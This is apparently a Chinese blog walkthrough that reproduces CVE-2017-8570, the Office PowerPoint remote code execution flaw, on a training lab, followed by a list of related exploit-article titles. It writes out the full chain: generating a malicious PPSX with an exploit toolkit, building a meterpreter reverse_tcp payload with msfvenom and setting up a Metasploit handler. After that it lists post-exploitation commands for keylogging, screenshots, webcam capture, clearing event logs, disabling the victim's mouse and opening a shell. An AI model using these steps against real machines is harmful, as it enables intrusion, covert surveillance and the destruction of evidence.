CVE-2017-8570漏洞是一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞。

编号

CVE-2017-8570

影响版本

Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

危害

2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上已经出现该漏洞的利用代码,影响范围较广。

该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。

复现漏洞

这个漏洞并没有进行搭建环境,是因为有更好的选择,发现ichunqiu里面有靶机,可以进行练习。靶机链接(https://www.ichunqiu.com/vm/58919/1)

实验环境

  • 操作机:windows7 x64

  • IP:172.16.11.2

  • 目标机:Kali Linux

  • IP:172.16.12.2

实验步骤

步骤1:生成恶意的PPSX文件

我们首先使用Xshell连接Kali机器,点击桌面Xshell图标,输入IP:172.16.12.2,账号为:root 密码:123456 ,如图:

首先我们在Kali中执行如下命令:

cd  CVE-2017-8570       //进入exploit的目录

python cve-2017-8570_toolkit.py  -M gen -w orange.ppsx -u http://172.16.12.2/logo.doc       //生成ppsx恶意文件

接下来将我们生成恶意PPSX文件通过调用Powershell下载并执行。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe

其中 -p 参数是 payload的意思,是使用windows的meterpreter的反弹文件-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下

接下来输入如下命令:

python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe

这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹文件

接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell

msfconsole
use multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //设置Payload
set LHOST 172.16.12.2 //设置本地接收IP
run

可以看到我们的Metaspliot已经在本地开启监听

到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件

步骤2:目标机器执行恶意PPSX文件

我们使用桌面Xftp软件,连接上目标机172.16.12.2,将Invoice.ppsx文件拖到当前桌面上。

如图,他是一个PPT文件,我们模拟用户双击打开它。

执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意文件,此时已经反弹回了shell

使用命令:

getuid     //获取当前用户ID

这样就获取了目标机器的权限,可以通过Metasploit去执行命令。

至此这个漏洞复现完毕。

后续渗透

截图

meterpreter > screenshot
Screenshot saved to: /home/ctf/ccoDxgvg.jpeg

键盘记录

meterpreter > keyscan_start          # 开启键盘记录
Starting the keystroke sniffer... meterpreter > keyscan_dump #查看键盘记录内容
Dumping captured keystrokes... **
-[ C:\soft\SogouExplorer\SogouExplorer.exe
-[ @ 2017年8月13日 4:07:31 UTC
**
<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR> meterpreter > keyscan_stop #关闭键盘记录

请除日志

`meterpreter > clearev``

关机

meterpreter > shutdown

截屏

meterpreter >screenshot

摄像头列表

meterpreter > webcam_list

打开摄像头

meterpreter > webcam_snap

禁止目标使用鼠标

meterpreter > uictl disable mouse

启用目标使用键盘

meterpreter > uictl enable keyboard

上传文件

meterpreter >  upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop

把我们的友情提示上传到win7系统主人的 电脑桌面上

ctf@guoguang:~/Desktop$ cat 快别看小姐姐了你被黑啦.txt
整天不是逛B站 就是 逛A站
除了看小姐姐 还是看小姐姐!~~
(严肃脸)我只想对你说 4个字:
请带上我
meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop
[*] uploading : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop
[*] uploaded : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop\快别看小姐姐了你被黑啦.txt

shell

meterpreter > shell

shell 顾名思义就是shell了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。

任重而道远!

CVE-2017-8570漏洞利用的更多相关文章

  1. Windows漏洞利用 ms17-010

    漏洞名称 SMB 远程命令执行漏洞(ms17-010) 漏洞描述 继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 ...

  2. CVE-2014-6271 Bash漏洞利用工具

    CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...

  3. 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

    [2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...

  4. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  5. CVE-2017-12149漏洞利用

    CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用 这次分析一下 CVE-2017-12149 ,漏洞已经爆出有几天了,今天就把这个漏洞看一下.                  ...

  6. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  7. AMR无限增发代币至任意以太坊地址的漏洞利用及修复过程

    AMR无限增发代币至任意以太坊地址的漏洞利用及修复过程 0x00 项目简述 Ammbr主要目标是打造具有高度弹性且易于连接的分布式宽带接入平台,同时降低上网相关成本.Ammbr打算创建具有人工智能和智 ...

  8. 工控漏洞利用框架 - ISF(Industrial Security Framework)

    一. 框架介绍 本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架.由于Fuzzbunch攻击框架仅适用于P ...

  9. Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验

    漏洞描述 1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba是在Linux和UNIX系 ...

  10. Struts-S2-045漏洞利用

    最近也是在看Struts2的漏洞,这里与大家共同探讨一下,本次我复现的是s2-045这个编号的漏洞 漏洞介绍 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号C ...

随机推荐

  1. namespace关键字学习笔记

    一.namespace简介 namespace中文意思是命名空间或者叫名字空间,传统的C++只有一个全局的namespace,但是由于现在的程序的规模越来越大,程序的分工越来越细,全局作用域变得越来越 ...

  2. GraphQL Gateway Architectures

    转自: https://tomasalabes.me/blog/graphql/node/microservices/2018/08/11/graphql-architectures.html Gra ...

  3. html+css常用总结

    一,HTML结构: 1,DOCTYPE 2,head: title:网站的标题 meta charset 3,body: 二,HTML标签: 块状元素和内联元素: 常见的块级元素有:div.p.add ...

  4. 负载均衡器 Ribbion

    一.客户端负载均衡器 Ribbon 客户端向服务器如Eureka Server拉取已经注册的服务信息,然后根据负载均衡策略, 直接命中哪一台服务器发送请求. 整个过程在客户端完成,不需要服务器的参与. ...

  5. nginx支持android、ios、微信扫一扫

    首先做一个android下载的html页面,页面中识别微信浏览器提示在浏览器中打开,然后在nginx对ios进行识别并跳转到apple store #下载App location ^~ /appDow ...

  6. 字节数组与String类型的转换

    还是本着上篇文章的原则,只不过在Delphi中string有点特殊! 先了解一下Delphi中的string 1. string = AnsiString = 长字符串,理论上长度不受限制,但其实受限 ...

  7. 使用copydata实现进程之间数据传递

    Winform to Winfrom==> 发送端==> using System; using System.Runtime.InteropServices; namespace Cop ...

  8. 多线程练习,深刻体会了一次变量的BUG.

    package ltb20180106; public class TestBankThread { private int deposit=0;//注意全局变量的摆放. public TestBan ...

  9. 黄聪:Jquery+DataTables插件,如何在ajax调用服务器数据后,自动给tr添加id属性

    http://legacy.datatables.net/usage/callbacks#fnRowCallback 主要通过 fnCreatedRow 事件来实现 var table = $('#t ...

  10. C++11--20分钟了解C++11 (上)

    20分钟了解C++ 11 1 初始化列表 Initializer List //C++ 03中用初始化列表初始化数组 int arr[4] = {3, 2, 4, 5}; vector<int& ...